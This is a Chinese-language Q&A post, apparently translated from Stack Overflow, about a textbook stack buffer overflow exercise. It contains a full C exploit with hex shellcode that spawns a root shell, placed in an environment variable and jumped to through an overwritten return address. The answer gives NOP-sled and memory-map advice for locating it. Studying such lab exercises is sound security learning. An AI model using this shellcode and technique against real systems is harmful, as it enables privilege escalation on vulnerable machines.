使用环境变量缓冲区溢出

时间:2016-04-27 09:03:31

标签: c linux environment-variables buffer-overflow exploit

我尝试这个代码的灵感来自"黑客:剥削的艺术"书。它涉及使用环境变量利用缓冲区溢出。开发代码是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd"
"\x80";

int main(int argc, char *argv[]) {
  char *env[2] = {shellcode, 0};
  unsigned int i, ret;

  char *buffer = (char *)malloc(160);

  ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow");

  for (i = 0; i < 160; i += 4)
    *((unsigned int *)(buffer + i)) = ret;

  execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env);
  free(buffer);
}

问题是基地址0xbffffffa。我读here这个地址的原因是因为&#34; Linux内核是这样实现的#34;。该漏洞利用仍无效,导致分段错误。

我在64位计算机上运行Ubuntu 14.04内核版本3.13.0-83-generic,并使用以下命令编译利用代码:

gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit

我也禁用了ASLR。

有关如何确定此基地址的任何想法?

感谢您的帮助。

1 个答案:

答案 0 :(得分:1)

这种利用的想法是在实际的shellcode之前使用nop sled。这样,如果你的地址近似很糟糕,那么就有更多机会点击nop,直到你的shellcode被执行为止。

要获取该地址,您可以在/proc/<<pid>>/maps中欺骗(开始)查看内存映射。